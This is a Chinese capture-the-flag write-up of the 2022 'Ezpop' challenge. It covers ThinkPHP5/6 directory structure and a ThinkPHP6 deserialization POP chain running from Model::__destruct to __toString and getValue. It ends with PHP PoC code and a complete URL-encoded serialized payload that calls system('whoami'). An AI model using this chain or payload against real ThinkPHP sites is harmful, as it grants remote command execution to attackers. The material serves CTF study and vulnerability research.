2022国赛Ezpop
写在前面的话:之前做2019强网杯upload遇到了thinkphp5框架的反序列化。这道国赛又恰巧出了thinkphp6框架的反序列化,还是不知道如何下手,现在详细学习目录结构。
tp5框架:
project 应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
tp6框架:
相对于tp5框架来说,主要变化是核心框架纳入vendor目录,application变成app目录,支持多应用模式部署。
单应用模式:
www WEB部署目录(或者子目录)
├─app 应用目录
│ ├─controller 控制器目录
│ ├─model 模型目录
│ ├─ ... 更多类库目录
│ │
│ ├─common.php 公共函数文件
│ └─event.php 事件定义文件
│
├─config 配置目录
│ ├─app.php 应用配置
│ ├─cache.php 缓存配置
│ ├─console.php 控制台配置
│ ├─cookie.php Cookie配置
│ ├─database.php 数据库配置
│ ├─filesystem.php 文件磁盘配置
│ ├─lang.php 多语言配置
│ ├─log.php 日志配置
│ ├─middleware.php 中间件配置
│ ├─route.php URL和路由配置
│ ├─session.php Session配置
│ ├─trace.php Trace配置
│ └─view.php 视图配置
│
├─view 视图目录
├─route 路由定义目录
│ ├─route.php 路由定义文件
│ └─ ...
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor Composer类库目录
├─.example.env 环境变量示例文件
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
多应用模式相比于单应用模式,app目录下的controller目录被删掉
代码审计
__destruct()链分析
反序列化POP链一般以__destruct()
或者__wakeup()
为起点
搜索__destruct()
,搜到了几个
这个就是个安全存储的,用于登录验证,没有可利用的
这个就是个断开连接,用于适配器兼容,没有可利用的
这个很可疑,autosave为True就可以进入save()
这个更直接,都写了析构方法
在www/vendor/topthink/think-orm/src/Model.php
里
跟进save()看看
isEmpty()==True或者trigger('BeforeWrite')==false就return false 要绕过需要:
isEmpty()==False
trigger('BeforeWrite')==True
跟进trigger()
withEvent==False就返回true 正好满足需要
跟进isEmpty()
empty()函数判断是否为空,需要让data非空
save里绕过isEmpty()和trigger('BeforeWrite')所在的if语句后,进入:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
意思是:
$this->exists为true的话执行$this->updateData(),$this->exists为false就执行后面的$this->insertData($sequence);
跟进updateData()
绕过前两个if的返回return,才能进入后面的checkAllowFieldsz()
先看第一个
trigger('BeforeUpdate')==false则return false
要绕过需要:
trigger('BeforeUpdate')==true
发现跟前面的trigger要求一样,正好绕过
再看下面这个data的
empty($data),即data是空则return true
先看前面的$data = $this->getChangedData();
跟进getChangedData()
$this->force ? $this->data
要获取data的值,需要:
force==true
现在可以进入最下面的checkAllowFields()函数了
需要:
field != null
schema != null
查看这两个函数,发现本来就是空,正好
跟进db()
发现最后有个字符串拼接的可以利用触发__toString()
到这里__destruct()
链条就分析结束,接下来需要找__toString()
可以利用的点。
附上大佬的总结图
__toString()链分析
在找__toString()
利用点的时候有个疑问,搜索__toString()
可以得到多个函数利用,如何确定真正可行的利用点?
这里是用的www/vendor/topthink/think-orm/src/model/concern/Conversion.php
里面的__toString()
方法
跟进toJson()
跟进toArray()
前两个的遍历赋给的$key值都会合并关联到这个遍历下
跟进getAttr(),注意这里的 n a m e 变量就是前面的 name变量就是前面的 name变量就是前面的key
最后return的漏洞点是getValue,因为里面的value参数是经过getData函数赋给的,所以先跟进getData()
跟进getRealFieldName()
可以看到,如果strict==true,可以直接返回 n a m e ,获得 name,获得 name,获得name值
接下来可以进入getValue(),这张大佬的图片已经写的很详细了,不太容易理解,请耐心思考。
找到了最终利用的动态点
__toString()
链条也分析结束。
附上大佬的总结图
POC构造
在构造之前需要注意一个点,也是之前一直没遇到过的。
Model在这里是抽象类,不能实例化,需要找一个子类实例化
搜索 extends Model
找到Pivot类
<?php
namespace think;
abstract class Model{
private $lazySave;
private $data;
private $exists;
protected $table;
private $withAttr;
protected $json;
protected $withEvent;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj; //触发__toString()
$this->data = ['whoami'=>['whoami']];
$this->withAttr = ['whoami'=>['system']];
$this->jsonAssoc = true;
$this->json = ['whoami'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
$b=new Pivot(new Pivot());
echo urlencode(serialize($b));
得到
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A5%3A%22force%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A5%3A%22force%22%3Bb%3A1%3B%7D
写在最后的话:
一开始以为这就是个单纯的tp6框架审计代码反序列化就是了,没想到这代码量这么大,转来转去的,真是耗了不少脑子。真不愧是,娃中娃中娃中娃,简称,套娃。
参考笔记
thinkphp5.0目录结构 - piwenfei - 博客园 (cnblogs.com)
(46条消息) thinkphp6目录结构_徊忆羽菲的博客-优快云博客_thinkphp6目录结构